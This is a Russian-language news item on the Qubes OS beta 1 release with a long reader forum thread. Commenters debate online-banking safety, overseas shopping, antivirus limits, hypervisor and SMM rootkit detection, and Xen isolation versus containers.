Увидела свет (http://theinvisiblethings.blogspot.com/2011/04/qubes-beta-1-...) первая бета-версия безопасного пользовательского Linux-дистрибутива Qubes OS (http://qubes-os.org/), разрабатываемого под руководством Джоанны Рутковской, польского специалиста по безопасности, получившей известность благодаря созданию "неуловимого" руткита Blue Pill и разработке метода атаки (http://www.opennet.me/opennews/art.shtml?num=20853) на механизмы защиты процессоров Intel TXT и Intel System Management Mode (SMM). Высокая устойчивость Qubes OS к взломам достигается за счет использования гипервизора Xen, поверх которого работают несколько виртуальных Linux-машин (доменов), выполняющих строго определенный набор функций.
Домены приложений предназначены для запуска пользовательских программ, сетевой домен ответственен за сетевые коммуникации, в рамках домена хранилища работают драйверы накопителей и зашифрованная корневая файловая система (такое разделение достигается за счет испо...URL: http://theinvisiblethings.blogspot.com/2011/04/qubes-beta-1-...
Новость: http://www.opennet.me/opennews/art.shtml?num=30243
для параноиков однозначно :)
> для параноиков однозначно :)Никогда не 'терял' деньги со своего счета? Ничего, все ещё впереди.
Деньги? Есть на карточке. Виза называется. С компом ничего общего. А ты заливай дальше свое бабло через интернет. Удачи.
> Деньги? Есть на карточке. Виза называется. С компом ничего общего. А ты заливай дальше свое бабло через интернет. Удачи.'Карточка виза' дабы вы знали молодой человек обычно принадлежит какому-то банку, который её эмитировал. Банк же (любой) без вменяемого интернет-банкинга с управлением счетом, внешними переводами и тд и тп - это даже не прошлый, это уже позапрошлый век. На уровне билетика в бабломат.
Вот, провел ты карточкой в магазине, должно произойти списание.
Конечно, зачем же тут комп!Да, у меня стоит POS-терминал самостоятельный, а вот если это комплекс с операционной системой и кассой?
Помнится, недавно было массовое двойное списание в одном из банков. Пусть, не по той причине, но один фиг - неприятно.
> Деньги? Есть на карточке. Виза называется. С компом ничего общего.Ага, конечно. А это, в банк ходить - не заколебывает, при том что ту же операцию в нормальном банке можно сделать не отдирая зад от стула? Я вижу некую разницу между "убить полдня на визит в банк" и "произвести эту же транзакцию через вебморду за целых 5 минут".
Я уж молчу о том что карточкой можно например оплачивать, вы только представьте себе, покупки в зарубежных магазинах. И глядя на то как одна и та же вещь продается у буржуев за X долларов а тут за (3 * X) долларов я прихожу к логичному выводу что я хочу сэкономить себе почти (2 * X) условных единиц, если оно не суперсрочно и можно подождать доставку. А то переплачивать в 3 раза просто потому что местные барыги зарвались - мне как-то не прикольно совсем.
Никогда не покупал за рубежом с доставкой. Можно подробнее или ссылки на описание процесса?
Интересует:
- Что обычно таким образом имеет смысл брать?
- Где брать? Амазон?
- Платить PayPall?
- Как, вообще, доставка происходит? Нет каких-нибудь проблем с таможней (может глупый вопрос, но вертится в голове)? Бывает ли, что пришел некондиционный товар? Что с этим можно сделать?
Начни с ebay.com, а потом можно и в знатные места типа dealextreme.com.
> Начни с ebay.com, а потом можно и в знатные места типа dealextreme.com.Наоборот, диалэкстрим проще в этом плане, а вот для доставик с ебэя обычно выгоднее пользоваться услугами посредников - во-первых, worldwide доставка мало у чего, а даже там, где она есть, часто выгоднее отправить на адрес посредника и заплатить ему за пересылку до вас + комиссионные. К тому же они обычно еще и комплектность/состояние проверить готовы и поругаться на месте, если что.
> Никогда не покупал за рубежом с доставкой. Можно подробнее или ссылки на описание процесса?Да в общем то никакой ракетной науки. Заходите на ebay, dealextreame и подобные и покупаете. Равно как и просто в онлайн магазинах. Какой-то ракетной науки - не вижу. Обычные онлайн магазины и акционы.
> - Что обычно таким образом имеет смысл брать?
То что продается здесь по неадекватным ценам, не запрещено к пересылке, желательно не дороже 1000 Евро и когда не срочно и товар не скоропортящийся, ибо почта и таможня - "не доставляют". Как яркий пример: вайфай-антенна. В гонконге стоит 3-4 доллара (как ОЕМ). Тут за эту же модель (правда ретейл, но в упаковке которой более 10 центов на вид дать сложно) просят ... уже 700-800 рублей? За что?!? Они тут дружно поофигели?! А если их несколько надо, тогда как?! Это ж вообще грабеж сплошной! Что именно так покупать - да не принципиально. Важно лишь чтобы тут не нашлось или не нашлось по сравнимой цене, тогда возня имеет смысл :). Относительно массовые товары с налаженными поставками - часто имеют сравнимые цены и гемор+ожидание смысла может не иметь. А вот мало-мальски не массовый товар тут может быть легко переоценен в РАЗЫ, в меру наглости продавцов.
> - Где брать? Амазон?
Да почти где угодно, единственные сильные грабли на данном пути - не все продавцы доставляют по всему миру, а за нашу доблестную почту нас особенно не любят, поэтому немало продавцов не хочет ничего сюда слать, особенно стандартной государственной почтой (с наименее злыми тарифами). Также, если не хотите познакомиться с таможней, не стоит заказывать более чем на 1000 евро в месяц. Иначе будет гемор с растаможной + придется платить пошлины. Оно вам надо? Мне вот как-то не хотелось с ними знакомиться и я не вылезал за этот лимит :)
> - Платить PayPall?
В ряде случаев можно и просто карточкой. Но пэйпэлом имхо лучше - в том плане что параметры вашей карты будут знать только они, а не все подряд. Что уменьшает риск познакомиться с милыми и добрыми кардерами, которые совсем не против переложить деньги с вашей карты в свой карман :).Особенно касается всяких мелких магазинов - если какойнить пэйпэл обтестирован годами и ордами хакеров, то чей-то кривенький сайтик онлайн-магазина, поставленный за 10 минут в виде "все по дефолту" может и не страдать особой секурностью. И врядли вам понравится если кардер из их базы вытащит параметры вашей карты и что-нить себе тоже прикупит потом. Ессно за *ваш* счет.
> - Как, вообще, доставка происходит?
Почтой, разумеется. В зависимости от продавца/магазина/аукциона/... и прочая бывают разные опции как и какой именно. На разную толщину кошелька и требования.
> Нет каких-нибудь проблем с таможней (может глупый вопрос, но вертится в голове)?
Если не покупать что-то вопиюще запрещенное к пересылке/ввозу и не превышать 1000 евро в месяц - шансы нарваться на проблемы имхо не слишком большие.
> Бывает ли, что пришел некондиционный товар?
Мне в этом плане везло, ничего серьезно раздестроено не было. Но вообще по отзывам народа - бывает, равно как и просто тыринг содержимого (почтарями). Как бороться - стоит почитать соотв. темы где-то в местах где народ себе покупает что-то.
> Что с этим можно сделать?
Почитать топики в более тематических ресурсах/тредах, для понимания какие проблемы могут быть и как бороться :). Хотя может я везучий но у меня никаких особых проблем толком не было.
Клинт-банк, не имеющий механики одноразовых ключей или чего-то аналогичного - это дикость, вообще-то.С другой стороны - руткиты под линукс, конечно, бывают. Где-то. В теории. А на практике оно не слишком актуально.
> Клинт-банк, не имеющий механики одноразовых ключей или чего-то аналогичного - это дикость, вообще-то.1. Методы социальной инженерии позволяют обойти OTP (One Time Password). Например, это было не так давно доказано на примере Альфа-Банка. Причем AFAIU в достаточно массовом порядке. После этого ребята наконец то зашевелились и на каждом столбу начали вещать мол не сообщайте свой OTP пароль сотрудникам банка и блаблабла.
2. С распространением смартфонов и соотв. малваря под них все актуальнее становится проблема, когда злоумышленник сможет одновременно контролировать и хост жертвы и её сотовый телефон. Включая SMS, как один из популярных каналов доставки OTP. Со всеми вытекающими.
> Клинт-банк, не имеющий механики одноразовых ключей или чего-то аналогичного - это дикость, вообще-то.Да, и не забываем, что топовые банки в тех же Штатах НЕ используют OTP. Или же уровень их внедрения минимален. Опять же, со всеми вытекающими. AFAIU в этом плане России видимо повезло. В том плане, что интернет-банкинг пришел к нам существенно позже, чем скажем в Штаты. И многие вещи были уже лишены кучи легаси несекурных решений, которые сейчас так больно бьют пот карману американских налогоплательщиков и страховых компаний.
> руткиты под линукс, конечно, бывают. Где-то. В теории.и на практике я видел их много и они работают. Погугли и посмотри сколько было уязвимостей по поднятию привилегий в линухе за последние три года. А уж сколько раз через vmsplice ломали...
> Клинт-банк, не имеющий механики одноразовых ключей или чего-то
> аналогичного - это дикость, вообще-то.Пусть они дружно идут в жопу. Вместе с своими одноразовыми ключами и говняными самопальными клиент-банковскими программами писаными какими-то укурками. Извините, к каждому онлайн-магазину эти ваши дебильные ключи не приставишь, а транзакции при этом производятся ничуть не менее натуральные. Ну и какой мне смысл геморроиться с кривым клиент-банком чтобы оплатить 100 рублей тут, когда потом можно на 500 баксов в онлайн-магазине закупиться без всяких там ключей и вообще доступа в онлайн-банк, чисто на основании параметров карты или пэйпэл-аккаунта? Это называется много геморроя неизвестно ради чего! Тем более что недавно как раз был прикольный троян. Нагревающий альфа-банк (и все подобные клиент-банки вроде, если не ошибаюсь, все что юзает ibank).
Вообще, с точки зрения здравого смысла, поиметь клиент-банк через руткит ничем не сложнее чем просто браузер с SSL. А какая разница то для руткита? И то и другое - программы.
Вообще, если реально ссыкотно, кардеры бегут за вами по пятам и пытаются набросить лассо из картридера на вашу голову: заводите себе отдельную карту/счет. С "обычным" балансом на счете около нуля. Закидываете туда сумму равную сумме покупки плюс-минус лапоть. Покупаете. А далее ... ну если на карте нифига нет, то и спереть оттуда ничего не получится, как вы понимаете :). Из минусов: покупки придется планировать. Ну а никто и не обещал что параноиком быть легко.
> С другой стороны - руткиты под линукс, конечно, бывают. Где-то. В теории.
> А на практике оно не слишком актуально.Вообще, знаете, руткиты - они как суслик. Они есть, а вы их не видите. Одна из главных фич руткитов - в том что их не видно. Даже администратору. Более того - руткиты того типа который делала Рутковска (в обработчиках SMM или в режиме гипервизора) - не найдет даже антивирус, даже если сильно захочет (разве что он сам начнет действовать хакерским методом, который имеет право не работать или работать не всегда и не везде и потому не очень то катит для коммерческого продукта). Руткитов такого вида вообще "нет" с точки зрения операционной системы - они уровнем ниже живут, о них может не знать даже кернел. Примерно как он может не знать о SMM mode и что там его обработчик делает и о гипервизоре. Поэтому вы можете и не узнать о моменте когда теория воплотится в практику. Knock-knock, Neo? :)
> Из минусов: покупки придется планировать. Ну а никто
> и не обещал что параноиком быть легко.Ну я так давно и сделал. Зарплатная карточка одна причем дебетовая.
Для покупок другая Visa Classic тоже дебетовая без овердрафта. И все :) Решил что купить зашел в банк кинул денег, пришел домой - заплатил :)
> Вообще, если реально ссыкотно, кардеры бегут за вами по пятам и пытаются набросить лассо из картридера на вашу голову: заводите себе отдельную карту/счет. С "обычным" балансом на счете около нуля. Закидываете туда сумму равную сумме покупки плюс-минус лапоть. Покупаете. А далее ... ну если на карте нифига нет, то и спереть оттуда ничего не получится, как вы понимаете :). Из минусов: покупки придется планировать. Ну а никто и не обещал что параноиком быть легко.Для таких целей многие банки предоставляют т.н. 'виртуальную' карту. Собственно сам по себе пластик не нужен для оплаты в онлайне, нужны лишь ТТХ. Ну а далее то же самое, что и с пластиком. Зашел в минетбанк, сделал внутренний перевод между своими же счетами на требуемую сумму, тут же оплатил. Все.
> С другой стороны - руткиты под линукс, конечно, бывают. Где-то. В теории.Видел действие своими глазами, следя за подключениями в реальном времени. Какая-то пакость залезла в Linux Mint стучалась на сервер Webmoney через процесс Forefox. Сдохла после перезагрузки и, естественно, чистки кэша файерфокса. Но если бы я во время того сеанса вздумал поработать с вэбманамы через веб-морду, то мой пароль наверняка ушуршал бы моментально. Такие дела. Так что Linux - увы, не панацея.
это новое слово в руткитостроении, поздравляю.не даёт покоя только одно - если чел не знает что такое руткит, то сможет ли он видеть своими глазами, следя за подключениями в реальном времени да через фф, что пакость залезла именно в линух минт?
...зловредный код, проникнувший в систему из непроверенных источников...И это безопасный дистрибутив?
да, потому что теоретически, проникновение всегда возможно, и быть к нему готовым - одна из целей сабжа. Зачастую, дефолтные современные системы разрушаются изнутри первым же залетевшим дятлом.
Антивирусы тоже теоретически готовы к защите.
Антивирусы даже теоретически не готовы к этому уровню защиты
> Антивирусы тоже теоретически готовы к защите.Антивирусы теоретически готовы поймать бяку, КОГДА ОНА УЖЕ У ВАС В СИСТЕМЕ. Более того, они ловят только то что известно. Маркетинг эвристики всякой - оставим на совести маркетологов, а я своими глазами видел как похожие на оригинал модификации трояна были успешно пропущены вообще ВСЕМИ антивирусами, даже без варнинга. Извините, одно дело, если вас от пули бронежилет спасет, а другое - если вас, может быть, потом попробуют заштопать, после того как в вас уже образовалась приличная дырка. Вот антивирусы - это команда хирургов которые пытаются заштопать систему после того как в нее уже попала пуля. А Рутковска предлагает бронежилет...
>Антивирусы тоже теоретически готовы к защите.Современные антивирусы способны обезвредить лишь сравнительно небольшую долю актуальных вирусов (от 10% до 30% по различным оценкам). Вирусы из оставшейся доли могут иметь "защищённые" антивирусами компы во всех удобных позах.
антивирусы нужны только кругу людей с узким лбом.
А VT-d нахрена нужно? Linux же поддерживает паравиртуализацию, а паравиртуальному домену можно дать доступ к железу и без всякого спец. железа.
При использовании паравиртуализации, предоставление гостям доступа к периферии реализуется через жуткие костыли, и поэтому практически не контролируется и очень небезопасно для хоста.
> А VT-d нахрена нужно?Кроме того, не надо путать vt-x и vt-d.
Аппаратная поддержка виртуализации - vt-x.
vt-d - технология безопасного проброса pci-устройств гостям (работающим через vt-x).
Осторожно только, у мелланоксовских десяток с VT-d дикие глюки бывали. Лучше б сразу честно не работало...
Все это конечно хорошо, но 4G RAM и 10G HDD как-то многовато для _минимальных_ системных требований...
> Все это конечно хорошо, но 4G RAM и 10G HDD как-то многовато
> для _минимальных_ системных требований...У параноиков это считается вполне нормальным.
> Все это конечно хорошо, но 4G RAM и 10G HDD как-то многовато
> для _минимальных_ системных требований...А вы хотели пачку "почти независимых" операционок на 1 машине и чтоб это не жрало ресурсы? Чудес не бывает, извините :)
>> Все это конечно хорошо, но 4G RAM и 10G HDD как-то многовато
>> для _минимальных_ системных требований...
> А вы хотели пачку "почти независимых" операционок на 1 машине и чтоб
> это не жрало ресурсы? Чудес не бывает, извините :)Тем не менее, практическую применимость это ограничивает существенно. Интересно, можно что-то менее параноидальное и менее прожорливое сделать?
> Тем не менее, практическую применимость это ограничивает существенно. Интересно, можно
> что-то менее параноидальное и менее прожорливое сделать?Если у вас нет денег на машину, вы можете купить велосипед. Берите линакс/фряшу/винхп - менее прожорливо, менее параноидально.
ovz? ;-)
> Тем не менее, практическую применимость это ограничивает существенно.Ну извините. У нее там по сути живет выводок независимых операционок, поимение одной части - не обязывает все остальные пострадать.
> Интересно, можно что-то менее параноидальное и менее прожорливое сделать?
Можно. Но оно действительно будет менее параноидально, т.е. с более плохой степенью изоляции - Рутковска явно не любит компромиссы, поэтому сделала изоляцию по максимуму.
Например на OpenVZ/LXC можно нечто такое сгородить. Более того, JFYI, гугель именно так уталкивает Chrome/Chromium на линухе в изолированный контейнер, что несколько минимизирует вред от вражеских пуль. У них там мелкий враппер есть, который дергает clone() с флагами пхающими процесс браузера в отдельный контейнер.
По ресурсам такое ессно лучше - одна копия ОС в памяти на всех. Только вот по изоляции будет хуже. Чтобы полностью поломать окружение Рутковской - надо поломать мелкий гипервизор. Чтобы поломать окружение с контейнерами - надо поломать относительно большой кернель. Сломать большой кернель проще чем маленький гипервизор, потому что багов в нем по логике вещей должно бы быть больше ;)
Но это и хорошо - заработаю денег на свободном от конкуренции поле :)
Ничего он не "неуловимый", этот blue pill. Дальше и читать не стал очередной пеар от Рутковски
Там в кавычках.
> очередной пеар от РутковскиВсе бы так пиарились. Рутковска в своем ремесле шарит так что многим и не снилось. Доказав это *делом*. Выпустив и труднообнаружимые руткиты, невидимые стандартными средствами чуть более чем полностью, и хорошо укрепленные системы, при том - хотя элементы технологий достаточно общеизвестны, собрать мозаику в одну картину у нее вышло быстрее и лучше чем у остальных. Можете лучше? Докажите. Делом. Тявкание на форуме - за дело не считается. Вот если вы например поломаете систему Рутковской :) или сделаете свою, еще защищеннее - тогда пожалста, рассказывайте про пиар и что там еще. Можете даже сами попиариться наздоровье тогда - это будет вполне обоснованно:)
> труднообнаружимые руткиты, невидимые стандартными средствами чуть более чем полностьюВы уж как нибудь определитесь - то ли труднообружимые, то ли неуловимые. Руткиты на основе виртуализации, как и сама виртуализация, обнаруживаются легко.
> Можете лучше? Докажите. Делом. Тявкание на форуме
А вы можете снести яйцо? Нет? Так наверно и покупаете тухлые. Придумайте аргументацию что ли получше, а то эта логика протухла хуже яиц.
> А вы можете снести яйцо? Нет?От вас меньше надо, хотя бы почитайте "Дальше и читать не стал", и не пеняйте пустыми обвинениями в пиаре, а то эта логика протухла хуже яиц.
> Вы уж как нибудь определитесь - то ли труднообружимые, то ли неуловимые.Идеальный сферический руткит в вакууме по технологии Рутковской поймать должно быть нельзя совсем. Реальный правда скорее всего будет иметь слабости реализации, вызываюшие те или иные аномалии в системе, позволяющие понять что нас немного надувают. Т.к. предусмотреть абсолютно все в рутките - крайне сложно.
> Руткиты на основе виртуализации, как и сама виртуализация, обнаруживаются легко.
Во первых, не так уж и легко. С точки зрения guest-системы в идеальном случае руткитов "нет". Поэтому честные не-хакерские и 100% надежные методы отлова существовать вообще не обязаны. Насколько я помню, BluePill лопили тайминг-атакой, что, конечно, вариант, но очень уж ненадежный: чем аккуратнее себя ведет руткит, тем сложнее его так поймать и выше риск ложных тревог. У вас есть какой-то иной, принципиально новый (tm) метод поимки руткитов типа BluePill? Ну ладно, черт с вами, хотя-бы просто надежный метод автоматически обнаружить любой тип виртуализации? А в 2 словах суть революционного прорыва? Из того что я не знал до вас? :)
Кстати, есть еще и всякие "прикольные" фичи типа обработчика SMM (спасибо интелу за всеми забытый зонд, хаха). Вот вы знаете что он там вообще делает? Он может отобрать у вашей ос управление на некое время а т.к. это кусок биоса, вы даже не знаете толком что оно там и когда делает. А что если там немного руткит поработает? Этот режим процессора - кольцом ниже чем ваш ring0, поэтому в общем случае вы ничего не заметите. Опять же, есть косвенные методы отлова, типа попыток заметить аномально большие потери времени процессора, линух в этом случае например паникует, но нетрудно догадаться что чем аккуратнее сделан довесок к легитимному обработчику, тем менее он будет заметен ;)
>> Можете лучше? Докажите. Делом. Тявкание на форуме
> А вы можете снести яйцо? Нет? Так наверно и покупаете тухлые.У рутковской они не тухлые, они просто с скорлупой из миллиметровой нержавеющей стали :). А то что их такие чистить геморно - ну извините. Зато не бьются будучи уронеными из корзинки на пол. А вы хотели все и сразу? :)
> Придумайте аргументацию что ли получше, а то эта логика протухла хуже яиц.
Осталось только придумать нафига б мне что-то аргументировать. Я представляю себе как работают руткиты от этой "Руткитской", мне этого достаточно чтобы понимать что такую штуку поймать - не очень просто и что отлов такой штуки вполне может записать себе в персональные достижения неглупый системщик, а не то что типовой юзер или админ-эникеец, которые против такого вообще без шансов :))
Блажен, кто верует.
> Блажен, кто верует.Это видимо был могучий технический аргумент :)
> хотя-бы просто надежный метод автоматически обнаружить любой тип виртуализации?Из того что приходит на ум всего за 5 минут, кроме уже упомянутого тайминга
1) гипервизор портит кэш
2) занимает память
3) обрабатывает прерыванияДальше объяснять или и так дошло? Ресурсы, как ни крути, гипервизор пользует совместно с гостем. Как определить из гостя утечку ресурса и какого именно - вариантов море. Сама идея гипервизор/гость это реинкарнация реального и виртуального 8086 - можете порыться в истории как определить какой из этих режимов активен. Некоторые из тех методов актуальны до сих пор.
Касательно обсуждаемой новости - ну видел такое в опенсюзе года 3 назад, лет 8 назад бредили чем то подобным в альте, на основе vserver/virtuozo. Ну на десктопе у меня 3 виртуалки, все линуксовые, под разные задачи, что мне бежать пеариться теперь на каждом углу?
Вы тут о другом задумайтесь - а что будет при компрометации самого-то гипервизора? А, его же Рутковска делала, он не то что необнаружим он еще и неуязвим.
> 1) гипервизор портит кэшЕго и еще много кто портит. Кроме того, в зависимости от типа виртуализации доступа в настоящий железный кеш может и не быть. Как пример: полный софтварный эмулятор железа типа bochs и подобных - может эмулировать все, включая кеш. Он же и системные часы и прочие тамеры эмулирует, поэтому то что он вам покажет то и будет :). Очевидно, при этом виртуализатор имеет стопроцентный контроль над поведением системы и программ в нем. И всегда может например заставить виртуальный процессор сделать "немного не то", слегка надув операционку и программы. Универсального детекта вообще не получается, не так ли? Полный виртуализатор вы не сможете обнаружить. А если он возжелает к вам применить некую логику - значит "железо себя так повело".
> 2) занимает память
> 3) обрабатывает прерыванияОпять же, не вижу проблем в случае полного виртуализатора показать вам то что вы хотели видеть, а то что виртуализатор может вклиниться в вашу логику работы - ну простите пожалуйста. Попробуйте так задетектить например штуки типа bochs? :)
> Дальше объяснять или и так дошло? Ресурсы, как ни крути, гипервизор пользует
> совместно с гостем.Все так. Только вот гостю не обязано быть видно гипервизор и занятые им ресурсы. Гипервизор может с той или иной степенью достоверности обманывать гостя, показывя ему не настоящее состояние дел, а виртуализованное. В случае полной программной эмуляции например, можно эмулировать железо сколь угодно точно, равно как и с любой степенью надувательства гуеста. Очевидно, при точной программной эмуляции проца и железа, отличить их от настоящих невозможно. А скорости и ресурсы - так простите, виртуализатор и таймеры вам обеспечивает - узнать что они врут вы можете разве что какими-то нетривиальными методами типа синхронизации времени по NTP несколько раз. Если, конечно, выход в сеть есть, что совсем не факт :)
> Как определить из гостя утечку ресурса и какого именно - вариантов море.
В зависимости от степени виртуализации - есть и море вариантов как вам показать не от что есть на самом деле :)
> Сама идея гипервизор/гость это реинкарнация реального и виртуального 8086
Что-то общее конечно у идей есть, но... но полный виртуализатор может вам вообще показать совсем другую машину. Как бы удачи узнать что вас обманули :).Узнать это можно лишь нащупав какойнить дебаговый и-фейс виртуализатора. Но как вы понимаете, его может и не быть.
> - можете порыться в истории как определить какой из
> этих режимов активен. Некоторые из тех методов актуальны до сих пор.Но я все-таки не вижу,
1) Как детектить бяку в SMM и как отличить легитимную активность SMM от нелегитимной.
2) Я не вижу внятного метода задетектить полную виртуализацию. Остальные случаи - это то или иное приближение к полной, чем ближе, тем более труднообнаружимо.> Касательно обсуждаемой новости - ну видел такое в опенсюзе года 3 назад,
> лет 8 назад бредили чем то подобным в альте, на основе vserver/virtuozo.Ага, конечно. Этак по вашей логике, простенький сейф в чистом поле "кто утащит, того и тапки" и банковское хранилище с вооруженной до зубов охраной и системой ограничения доступа - одинаковы по степени защищенноти :)
> Ну на десктопе у меня 3 виртуалки, все линуксовые, под
> разные задачи, что мне бежать пеариться теперь на каждом углу?Запустить три виртуалки - много ума не надо. Сделать юзабельное решение где все попилено на части, есть временные окружения и прочая - как-то больше работы и более вменяемо выглядит.
> Вы тут о другом задумайтесь - а что будет при компрометации самого-то
> гипервизора?Будет то самое. Только вот взломать мелкий гипервизор - сложнее чем более жирные и разлапистые решения. Рутковска это отлично понимает. И вроде все правильно сделала, так как и следует делать подобные вещи. Не вижу в каком месте это - плохо. Это лишь 1 из решений. Крутое и параноидальное, но ресурсожоркое.
А так - ну возьмите и сломайте решение рутковской :). Вот тогда и вы себя зарекомендуете отличным специалистом, и пиара отхватите по полной.
> А, его же Рутковска делала, он не то что необнаружим
> он еще и неуязвим.Слишком толсто: Рутковска не писала xen :P.
ЗЫ я сам не дурак опенвз/lxc поиграться :). Но надо быть совсем дебилом чтобы думать что это даст такую же степень изоляции как параноидальные навороты Рутковской :Р. Изоляция будет несколько хуже, т.к. довольно большие куски одного и того же ядра юзаются на всех. И если там будет бага ... и она там будет более вероятно чем в мелком гипервизоре, ага.
сперва добейся?как-бы аналогичная система реализуется без таких наворотов.
вопрос на троечку: ставлю виртуалки и пробрасываю приложения (гуглить по бесшовной интеграции rdp, с остальными тот же принцип), зачем там vt-x/vt-d и иже с ними, если оси и так паравиртуализированы (проброс девайсов, кроме сетевух, для защиты банк-клиента и организации виртуалки-файрвола не нужен, отдать сетевуху целиком гостевому домену можно без проблем; 3д и звук работают только в хост-системе, остальное не требует 3д и звука)?
вопрос на четыре: если будет глюк в ксене - эта система рухнет (да, я в курсе, что через гипервизор поиметь гостевую систему можно очень легко, ксен грузит гипервизор, потом ядро хост-системы (гостевая по отношению к гипервизору), потом по неоходимости подгружаются гостевые (опять же))?
вопрос на пять: если я сделаю хост-систему с фс только для чтения, файлы гостевых систем шифруются и могут расшифроваться только в гостевых системах, проброс приложений только через ssh -Y, в чем разница между моим поделием и поделием от Рутковской кроме легкой установки и тем, что я буду юзать дебиан а не глюкавую федору?
> 3д и звук работают только в хост-системеСоболезную.
> и тем, что я буду юзать дебиан а не глюкавую федору?
Так о чём речь -- ждём исошку на покрутить в руках.
(надеюсь, Вы тоже в курсе, что между пониманием, концептом, кусочками, технологией и продуктом -- огромные разрывы)
нечего, так как vt-d и ему подобные пока что в ооочень сыром состоянии.исошку я не дам, нету времени чтобы сделать все от и до. dd образ можно, но опять же - если у меня найдется столько времени и главное желания это делать. imho отдельной виртуалки для оплаты через банк-клиента и прочих вещей типа покупок на ebay мне хватит с лихвой, для серфа/чатов в инете, просмотра фильмов и прослушивания музыки, нехитрых игр типа openarena, quakelive, urbanterror хватит обычного слегка причесаного дебьяна и компа даже пятилетней давности, если хочется играться больше - имеет смысл брать приставку или отдельный мощный комп. да и вообще - пароли в голове (единственный метод их оттуда достать - терморектальный криптоанализ), вход на сервера по ключу (ключи запаролены), все более-менее критичное - заворачивать в ssl, не юзать всякие непровереные программы без изучения (исходники + скрилл для их чтения required), настроить selinux/etc. и своевременно следить за состоянием дыр в софте, который используется.
и таки да - виртуализации не место на десктопах. гораздо круче это делать на нормальных серверах, а конечному пользователю давать только чтото типа прокаченого терминала (облако сервисов, у клиента пароль на каждый сервис + возможно аппаратный ключ для удобства). примеры сервисов: onlive, youtube, облачные серверные техногогии. на работе данные вещи будут поддерживаться спецами, будут полностью управляемыми. дома - гики поставять себе что-нибудь аналогичное, обычные юзеры будут юзать только то, что им больше по нраву. если при этом и цены будут адекватные (я таки верю в это) - тогда будет следующая вещь: у юзера стоит маахонькая коробочка с верифицированой системой, в которой зашиты ключи доступа к местному провайдеру инета, мультимедии, игр, и т.д. при этом провайдером такого рода услуг может быть как домашний сервер, который крутится в подвале, так и чтото более глобальное (типа того же onlive). все данные пошифрованы ключом и изымаются только на самом терминале, в остальных случаях - никаких вариантов расшифровать нету (да-да, я знаю про терморектальный криптоанализ). весь контент (инет, игры, мультимедиа) делится на три части: полностью бесплатное (учебные материалы, то, что пожелали выложить сами авторы, и т.п. типа классической музыки), условно бесплатное (юзаешь месяц, потом плати, либо если захотел доработать и получать при этом прибыль - плати, либо только некомерческое использование, либо только для ознакомления, то, что было премиум, но уже появилось нечто более новое и т.п.), платное (премиум контент, заказной софт).
> нечего, так как vt-d и ему подобные пока что в ооочень сыром
> состоянии.Местами уже работает, пачку виртуальных сетевых карт с левыми маками (и разными device function) наш техдир тут показывал ещё с полгода тому, что ли.
> исошку я не дам, нету времени чтобы сделать все от и до.
> dd образ можно, но опять же - если у меня найдется
> столько времени и главное желания это делать.Так для себя-то каждый может потихоньку выточить то, что считает более-менее подходящим. Это ещё дважды обобщить надо, чтоб исошка вышла хоть какая-нибудь.
Гругря накропать и скопипастить нынче первый встречный брамин может, а вот _написать_...
> и таки да - виртуализации не место на десктопах.
Вполне себе место, если помогает в решении стоящих задач.
[skip: это понятно, но себе такого не хочу и другим вообще-то тоже]
> сперва добейся?Потому что "критикуя - предлагай". Предложите решение с *такой* *же* пуленепробиваемостью и меньшей ресурсоемкостью. И все скажут вам спасибо.
> как-бы аналогичная система реализуется без таких наворотов.
Я вижу вполне очевидный tradeoff между изоляцией частей системы друг от друга и жрачем ресурсов. Чем более изолированы и независимы разные компоненты, тем больше жрется ресурсов на поддержание этой их независимости, т.к. или уж независимость, или уж эффективная по ресурсам shared копия некоей сущности, при поимении оной сущности нагреваются сразу всех кто юзал shared копию, что как-то не очень хорошо с точки зрения параноидальной секурити.
> вопрос на троечку: ставлю виртуалки и пробрасываю приложения
И, типа, это будет быстрее и будет жрать меньше ресурсов? С фига ли? Если там тоже независимые копии систем? Если вы разобьете систему на примерно такое же число независимых изолированных частей с сравнимой степенью изоляции, имхо жрач ресурсов будет тоже не фонтан.
> (гуглить по бесшовной интеграции rdp,
И типа RDP ну совсем не будет тормозить. Ага. Особенно если какоенить там HD посмотреть.
> для защиты банк-клиента и организации виртуалки-файрвола не нужен, отдать сетевуху целиком
> гостевому домену можно без проблем; 3д и звук работают только в
> хост-системе, остальное не требует 3д и звука)?Получается как-то однобоко, не гибко и прибито гвоздями к конкретным юзкейсам.
> вопрос на четыре: если будет глюк в ксене - эта система рухнет
> (да, я в курсе, что через гипервизор поиметь гостевую систему можно
> очень легко, ксен грузит гипервизор, потом ядро хост-системы (гостевая по отношению
> к гипервизору), потом по неоходимости подгружаются гостевые (опять же))?
> вопрос на пять: если я сделаю хост-систему с фс только для чтения,
> файлы гостевых систем шифруются и могут расшифроваться только в гостевых системах,
> проброс приложений только через ssh -Y, в чем разница между моим
> поделием и поделием от Рутковской кроме легкой установки и тем, что
> я буду юзать дебиан а не глюкавую федору?Вы даже не сказали какой виртуализатор будет поюзан. Поэтому сложно прикинуть даже то насколько сложно пробить его и поиметь "host" систему. Сравнивать конеретный готовый продукт с сферическим конем в вакууме - ну круто, конечно, а смысл? :)
Не, я не питаю симпатий к федоре, и даже думаю что для лично меня такой крутой уровень паранои выглядит немного оверкильным. Но я признаю что уровень изоляции в данной системе и вообще дезигн затеи - внушает уважение. Гуру на то и гуру чтобы не признавать полумеры :)
как вариант - selinux (при условии, что Вам реально так надо, мне лично - нет)могу дать пример реализации, чтобы не тормозило: покупаете 16-32 гб оперативки, восьмиядерный проц, делаете soft-RAID1 диска и файла в оперативной памяти, делаете на основе такого рэида LVM, ставите на LVM базовую операционку для гостей (дебьян с пачкой приложений - около 6 гб), юзаете LVM снапшоты как диски для ксеновских гостей (реально можно сделать часть гостей read-only после настроек), добавить шифрование дисков по вкусу, восстановление этого рэида при загрузке хост-системы также required. потом настраиваете проброс нужных иксовых приложений через ssh и внимательно следите за тем, с какого хоста какой браузер пускается (можно сделать разные темы по образу и подобию того, как это сделала Жанна Рутковска).
таки RDP только для виндовых гостей, если брать иксы с их прозрачной работой по сети через ssh - проблем с HD видео никаких нету.
формально можно настроить pulseaudio, оно работает прозрачно по сети, его также можно завернуть в ssh. а вот насчет 3d - также вполне можно пускать игрушки через ssh на виртуалке с отрисовкой на хостовой системе, тормозить не должно.
виртуализатор - ксен, как его поиметь - можете загуглить (емнип было как минимум три варианта как поиметь ксен, один не так давно (проблема с buffer overflow, детали гуглите)).
как бы у меня такие идеи возникали давно, вот только восьмиядерного компа с 32 гигами оперативки у меня нету... :)
